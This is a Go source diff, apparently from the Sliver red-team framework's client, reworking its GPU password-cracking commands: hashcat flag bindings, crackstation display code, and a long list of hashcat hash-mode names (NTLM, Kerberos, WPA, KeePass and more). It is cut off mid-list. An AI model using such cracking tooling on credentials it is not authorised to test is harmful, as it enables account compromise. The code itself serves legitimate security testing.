@@ -293,7 +294,7 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []st
addCrackFile(hcstat2, crackFile, con) addCrackFile(hcstat2, crackFile, con)
} }
func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) { func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) {
digest := sha256.New() digest := sha256.New()
wordlistReader := io.TeeReader(localFile, digest) wordlistReader := io.TeeReader(localFile, digest)
@@ -401,8 +402,8 @@ func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error
return chunkBuf[:n], nil return chunkBuf[:n], nil
} }
// CrackWordlistsRmCmd - Manage GPU cracking stations. // CrackWordlistsRmCmd - Manage GPU cracking stations
func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var wordlistName string var wordlistName string
if len(args) > 0 { if len(args) > 0 {
wordlistName = args[0] wordlistName = args[0]
@@ -435,8 +436,8 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []s
} }
} }
// CrackRulesRmCmd - Manage GPU cracking stations. // CrackRulesRmCmd - Manage GPU cracking stations
func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var rulesName string var rulesName string
if len(args) > 0 { if len(args) > 0 {
rulesName = args[0] rulesName = args[0]
@@ -469,8 +470,8 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
} }
// CrackHcstat2RmCmd - remove a hcstat2 file. // CrackHcstat2RmCmd - remove a hcstat2 file
func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var hcstat2Name string var hcstat2Name string
if len(args) > 0 { if len(args) > 0 {
hcstat2Name = args[0] hcstat2Name = args[0]
-108
View File
@@ -1,108 +0,0 @@
package crack
import "github.com/spf13/pflag"
func bindCrackFlags(f *pflag.FlagSet) {
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
f.String("hash-type", "", "hashcat hash type (number or enum name)")
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
f.Bool("quiet", false, "quiet mode")
f.Bool("hex-charset", false, "treat charset as hex")
f.Bool("hex-salt", false, "treat salt as hex")
f.Bool("hex-wordlist", false, "treat wordlist as hex")
f.Bool("force", false, "ignore warnings")
f.Bool("deprecated-check-disable", false, "disable deprecated check")
f.Bool("status", false, "enable status")
f.Bool("status-json", false, "emit status in JSON")
f.Uint32("status-timer", 0, "status timer interval (seconds)")
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
f.Bool("machine-readable", false, "machine readable output")
f.Bool("keep-guessing", false, "keep guessing")
f.Bool("self-test-disable", false, "disable self-test")
f.Bool("loopback", false, "use loopback mode")
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
f.Bool("markov-disable", false, "disable markov mode")
f.Bool("markov-classic", false, "use classic markov")
f.Bool("markov-inverse", false, "use inverse markov")
f.Uint32("markov-threshold", 0, "markov threshold")
f.Uint32("runtime", 0, "runtime in seconds")
f.String("session", "", "session name")
f.Bool("restore", false, "restore session")
f.Bool("restore-disable", false, "disable restore")
f.String("restore-file", "", "restore file path or identifier")
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
f.String("separator", "", "separator character")
f.Bool("stdout", false, "stdout output")
f.Bool("show", false, "show cracked hashes")
f.Bool("left", false, "show uncracked hashes")
f.Bool("username", false, "enable username handling")
f.Bool("remove", false, "remove cracked hashes")
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
f.Bool("potfile-disable", false, "disable potfile")
f.String("potfile", "", "potfile path or identifier")
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
f.Uint32("debug-mode", 0, "debug mode mask")
f.Bool("logfile-disable", false, "disable logfile")
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
f.Bool("benchmark", false, "run benchmark")
f.Bool("benchmark-all", false, "run full benchmark")
f.Bool("speed-only", false, "show speed only")
f.Bool("progress-only", false, "show progress only")
f.Uint32("segment-size", 0, "segment size")
f.Uint32("bitmap-min", 0, "bitmap min")
f.Uint32("bitmap-max", 0, "bitmap max")
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
f.Uint32("hook-threads", 0, "hook threads")
f.Bool("hash-info", false, "show hash information")
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
f.Bool("backend-info", false, "show backend info")
f.UintSlice("backend-devices", nil, "backend device IDs")
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
f.Uint32("kernel-accel", 0, "kernel acceleration")
f.Uint32("kernel-loops", 0, "kernel loops")
f.Uint32("kernel-threads", 0, "kernel threads")
f.Uint32("backend-vector-width", 0, "backend vector width")
f.Uint32("spin-damp", 0, "spin damp")
f.Bool("hwmon-disable", false, "disable hardware monitoring")
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
f.Uint64("skip", 0, "skip count")
f.Uint64("limit", 0, "limit count")
f.Bool("keyspace", false, "show keyspace")
f.String("rules-file", "", "rules file path or identifier")
f.Uint32("generate-rules", 0, "generate rules")
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
f.String("generate-rules-func-sel", "", "generate rules function selection")
f.Int32("generate-rules-seed", 0, "generate rules seed")
f.String("custom-charset1", "", "custom charset 1")
f.String("custom-charset2", "", "custom charset 2")
f.String("custom-charset3", "", "custom charset 3")
f.String("custom-charset4", "", "custom charset 4")
f.String("identify", "", "identify hash")
f.Bool("increment", false, "incremental mode")
f.Uint32("increment-min", 0, "increment min")
f.Uint32("increment-max", 0, "increment max")
f.Bool("slow-candidates", false, "slow candidates")
f.Bool("brain-server", false, "brain server mode")
f.Uint32("brain-server-timer", 0, "brain server timer")
f.Bool("brain-client", false, "brain client mode")
f.String("brain-client-features", "", "brain client features")
f.String("brain-host", "", "brain host")
f.Uint32("brain-port", 0, "brain port")
f.String("brain-password", "", "brain password")
f.String("brain-session", "", "brain session")
f.String("brain-session-whitelist", "", "brain session whitelist")
}
+30 -73
View File
@@ -22,7 +22,6 @@ import (
"context" "context"
"fmt" "fmt"
"sort" "sort"
"time"
"github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra" "github.com/spf13/cobra"
@@ -34,38 +33,7 @@ import (
) )
// CrackCmd - GPU password cracking interface // CrackCmd - GPU password cracking interface
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
if shouldRunCrack(cmd, args) {
crackCmd, err := buildCrackCommand(cmd, args)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
ctx := context.Background()
if timeoutSeconds > 0 {
var cancel context.CancelFunc
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
defer cancel()
}
resp, err := con.Rpc.Crack(ctx, crackCmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if resp == nil || resp.Job == nil {
con.PrintInfof("Crack request submitted\n")
return
}
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
if resp.Job.Err != "" {
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
}
return
}
if !AreCrackersOnline(con) { if !AreCrackersOnline(con) {
PrintNoCrackstations(con) PrintNoCrackstations(con)
} else { } else {
@@ -90,25 +58,24 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
// CrackStationsCmd - Manage GPU cracking stations // CrackStationsCmd - Manage GPU cracking stations
func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
return return
} }
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
if len(crackers.Crackstations) == 0 { if len(crackers.Crackstations) == 0 {
PrintNoCrackstations(con) PrintNoCrackstations(con)
} else { } else {
PrintCrackers(crackers.Crackstations, con, showBenchmarks) PrintCrackers(crackers.Crackstations, con)
} }
} }
func PrintNoCrackstations(con *console.SliverClient) { func PrintNoCrackstations(con *console.SliverConsoleClient) {
con.PrintInfof("No crackstations connected to server\n") con.PrintInfof("No crackstations connected to server\n")
} }
func AreCrackersOnline(con *console.SliverClient) bool { func AreCrackersOnline(con *console.SliverConsoleClient) bool {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil { if err != nil {
return false return false
@@ -116,12 +83,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
return len(crackers.Crackstations) > 0 return len(crackers.Crackstations) > 0
} }
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) { func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
sort.Slice(crackers, func(i, j int) bool { sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name return crackers[i].Name < crackers[j].Name
}) })
for index, cracker := range crackers { for index, cracker := range crackers {
printCracker(cracker, index, con, showBenchmarks) printCracker(cracker, index, con)
if index < len(crackers)-1 { if index < len(crackers)-1 {
con.Println() con.Println()
con.Println() con.Println()
@@ -129,63 +96,53 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient,
} }
} }
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) { func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName)) + "\n") tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
tw.AppendSeparator() tw.AppendSeparator()
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)}) tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), cracker.HashcatVersion}) tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
if 0 < len(cracker.CUDA) { if 0 < len(cracker.CUDA) {
for _, cuda := range cracker.CUDA { for _, cuda := range cracker.CUDA {
tw.AppendSeparator() tw.AppendSeparator()
tw.AppendRow(table.Row{console.StyleBold.Render("CUDA Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", cuda.Name, cuda.Version))}) tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)}) tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", cuda.Clock)}) tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", cuda.Processors)}) tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
} }
} }
if 0 < len(cracker.Metal) { if 0 < len(cracker.Metal) {
for _, metal := range cracker.Metal { for _, metal := range cracker.Metal {
tw.AppendSeparator() tw.AppendSeparator()
tw.AppendRow(table.Row{console.StyleBold.Render("Metal Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", metal.Name, metal.Version))}) tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)}) tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", metal.Clock)}) tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", metal.Processors)}) tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
} }
} }
if 0 < len(cracker.OpenCL) { if 0 < len(cracker.OpenCL) {
for _, openCL := range cracker.OpenCL { for _, openCL := range cracker.OpenCL {
tw.AppendSeparator() tw.AppendSeparator()
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", openCL.Name, openCL.Version))}) tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)}) tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", openCL.Clock)}) tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", openCL.Processors)}) tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
} }
} }
con.Printf("%s\n", tw.Render()) con.Printf("%s\n", tw.Render())
if showBenchmarks { con.Println()
con.Println() printBenchmarks(cracker, con)
printBenchmarks(cracker, con)
}
} }
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) { func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.StyleBold.Render("Benchmarks")) tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
tw.SortBy([]table.SortBy{{Name: "Hash Type"}}) tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
tw.AppendHeader(table.Row{"Hash Type", "Rate"}) tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
if len(cracker.Benchmarks) == 0 { for hashType, speed := range cracker.Benchmarks {
tw.AppendRow(table.Row{"No benchmarks reported", "-"}) tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
} else {
for hashType, speed := range cracker.Benchmarks {
name, ok := hashcatHashTypeName(hashType)
if !ok {
name = clientpb.HashType(hashType).String()
}
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
}
} }
con.Printf("%s\n", tw.Render()) con.Printf("%s\n", tw.Render())
} }
-419
View File
@@ -1,419 +0,0 @@
package crack
import "fmt"
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
var hashcatHashTypes = map[int32]string{
0: "MD5",
10: "md5($pass.$salt)",
11: "Joomla < 2.5.18",
12: "PostgreSQL",
20: "md5($salt.$pass)",
21: "osCommerce, xt:Commerce",
22: "Juniper NetScreen/SSG (ScreenOS)",
23: "Skype",
24: "SolarWinds Serv-U",
30: "md5(utf16le($pass).$salt)",
40: "md5($salt.utf16le($pass))",
50: "HMAC-MD5 (key = $pass)",
60: "HMAC-MD5 (key = $salt)",
70: "md5(utf16le($pass))",
100: "SHA1",
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
110: "sha1($pass.$salt)",
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
112: "Oracle S: Type (Oracle 11+)",
120: "sha1($salt.$pass)",
121: "SMF (Simple Machines Forum) > v1.1",
122: "macOS v10.4, macOS v10.5, macOS v10.6",
123: "EPi",
124: "Django (SHA-1)",
125: "ArubaOS",
130: "sha1(utf16le($pass).$salt)",
131: "MSSQL (2000)",
132: "MSSQL (2005)",
133: "PeopleSoft",
140: "sha1($salt.utf16le($pass))",
141: "Episerver 6.x < .NET 4",
150: "HMAC-SHA1 (key = $pass)",
160: "HMAC-SHA1 (key = $salt)",
170: "sha1(utf16le($pass))",
190: "sha1(LinkedIn)",
200: "MySQL323",
300: "MySQL4.1/MySQL5",
400: "phpass, phpBB3 (MD5)",
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
501: "Juniper IVE",
600: "BLAKE2b-512",
900: "MD4",
1000: "NTLM",
1100: "Domain Cached Credentials (DCC), MS Cache",
1300: "SHA2-224",
1400: "SHA2-256",
1410: "sha256($pass.$salt)",
1411: "SSHA-256(Base64), LDAP {SSHA256}",
1420: "sha256($salt.$pass)",
1421: "hMailServer",
1430: "sha256(utf16le($pass).$salt)",
1431: "base64(sha256(unicode($pass)))",
1440: "sha256($salt.utf16le($pass))",
1441: "Episerver 6.x >= .NET 4",
1450: "HMAC-SHA256 (key = $pass)",
1460: "HMAC-SHA256 (key = $salt)",
1470: "sha256(utf16le($pass))",
1500: "descrypt, DES (Unix), Traditional DES",
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
1700: "SHA2-512",
1710: "sha512($pass.$salt)",
1711: "SSHA-512(Base64), LDAP {SSHA512}",
1720: "sha512($salt.$pass)",
1722: "macOS v10.7",
1730: "sha512(utf16le($pass).$salt)",
1731: "MSSQL (2012, 2014)",
1740: "sha512($salt.utf16le($pass))",
1750: "HMAC-SHA512 (key = $pass)",
1760: "HMAC-SHA512 (key = $salt)",
1770: "sha512(utf16le($pass))",
1800: "sha512crypt $6$, SHA512 (Unix)",
2000: "STDOUT",
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
2400: "Cisco-PIX MD5",
2410: "Cisco-ASA MD5",
2500: "WPA-EAPOL-PBKDF2",
2501: "WPA-EAPOL-PMK",
2600: "md5(md5($pass))",
2611: "vBulletin < v3.8.5",
2612: "PHPS",
2711: "vBulletin >= v3.8.5",
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
3000: "LM",
3100: "Oracle H: Type (Oracle 7+)",
3200: "bcrypt $2\\*$, Blowfish (Unix)",
3300: "MD5(Sun)",
3500: "md5(md5(md5($pass)))",
3610: "md5(md5($salt).$pass )",
3710: "md5($salt.md5($pass))",
3711: "MediaWiki B type",
3720: "md5($pass.md5($salt))",
3721: "WebEdition CMS",
3800: "md5($salt.$pass.$salt)",
3910: "md5(md5($pass).md5($salt))",
4010: "md5($salt.md5($salt.$pass))",
4110: "md5($salt.md5($pass.$salt))",
4210: "md5($username.0.$pass)",
4300: "md5(strtoupper(md5($pass)))",
4400: "md5(sha1($pass))",
4500: "sha1(sha1($pass))",
4510: "sha1(sha1($pass).$salt)",
4520: "sha1($salt.sha1($pass))",
4521: "Redmine",
4522: "PunBB",
4600: "sha1(sha1(sha1($pass)))",
4700: "sha1(md5($pass))",
4710: "sha1(md5($pass).$salt)",
4711: "Huawei sha1(md5($pass).$salt)",
4800: "iSCSI CHAP authentication, MD5(CHAP)",
4900: "sha1($salt.$pass.$salt)",
5000: "sha1(sha1($salt.$pass.$salt))",
5100: "Half MD5",
5200: "Password Safe v3",
5300: "IKE-PSK MD5",
5400: "IKE-PSK SHA1",
5500: "NetNTLMv1 / NetNTLMv1+ESS",
5600: "NetNTLMv2",
5700: "Cisco-IOS type 4 (SHA256)",
5800: "Samsung Android Password/PIN",
6000: "RIPEMD-160",
6100: "Whirlpool",
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
6300: "AIX {smd5}",
6400: "AIX {ssha256}",
6500: "AIX {ssha512}",
6600: "1Password, agilekeychain",
6700: "AIX {ssha1}",
6800: "LastPass + LastPass sniffed",
6900: "GOST R 34.11-94",
7000: "FortiGate (FortiOS)",
7100: "macOS v10.8+ (PBKDF2-SHA512)",
7200: "GRUB 2",
7300: "IPMI2 RAKP HMAC-SHA1",
7400: "sha256crypt $5$, SHA256 (Unix)",
7401: "MySQL $A$ (sha256crypt)",
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
7700: "SAP CODVN B (BCODE)",
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
7800: "SAP CODVN F/G (PASSCODE)",
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
7900: "Drupal7",
8000: "Sybase ASE",
8100: "Citrix NetScaler (SHA1)",
8200: "1Password, cloudkeychain",
8300: "DNSSEC (NSEC3)",
8400: "WBB3 (Woltlab Burning Board)",
8500: "RACF",
8600: "Lotus Notes/Domino 5",
8700: "Lotus Notes/Domino 6",
8800: "Android FDE <= 4.3",
8900: "scrypt",
9000: "Password Safe v2",
9100: "Lotus Notes/Domino 8",
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
9300: "Cisco-IOS $9$ (scrypt)",
9400: "MS Office 2007",
9500: "MS Office 2010",
9600: "MS Office 2013",
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
9900: "Radmin2",
10000: "Django (PBKDF2-SHA256)",
10100: "SipHash",
10200: "CRAM-MD5",
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
10600: "PDF 1.7 Level 3 (Acrobat 9)",
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
10800: "SHA2-384",
10810: "sha384($pass.$salt)",
10820: "sha384($salt.$pass)",
10830: "sha384(utf16le($pass).$salt)",
10840: "sha384($salt.utf16le($pass))",
10870: "sha384(utf16le($pass))",
10900: "PBKDF2-HMAC-SHA256",
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
11000: "PrestaShop",
11100: "PostgreSQL CRAM (MD5)",
11200: "MySQL CRAM (SHA1)",
11300: "Bitcoin/Litecoin wallet.dat",
11400: "SIP digest authentication (MD5)",
11500: "CRC32",
11600: "7-Zip",
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
11900: "PBKDF2-HMAC-MD5",
12000: "PBKDF2-HMAC-SHA1",
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
12100: "PBKDF2-HMAC-SHA512",
12200: "eCryptfs",
12300: "Oracle T: Type (Oracle 12+)",
12400: "BSDi Crypt, Extended DES",
12500: "RAR3-hp",
12600: "ColdFusion 10+",
12700: "Blockchain, My Wallet",
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
12900: "Android FDE (Samsung DEK)",
13000: "RAR5",
13100: "Kerberos 5, etype 23, TGS-REP",
13200: "AxCrypt 1",
13300: "AxCrypt 1 in-memory SHA1",
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
13500: "PeopleSoft PS_TOKEN",
13600: "WinZip",
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
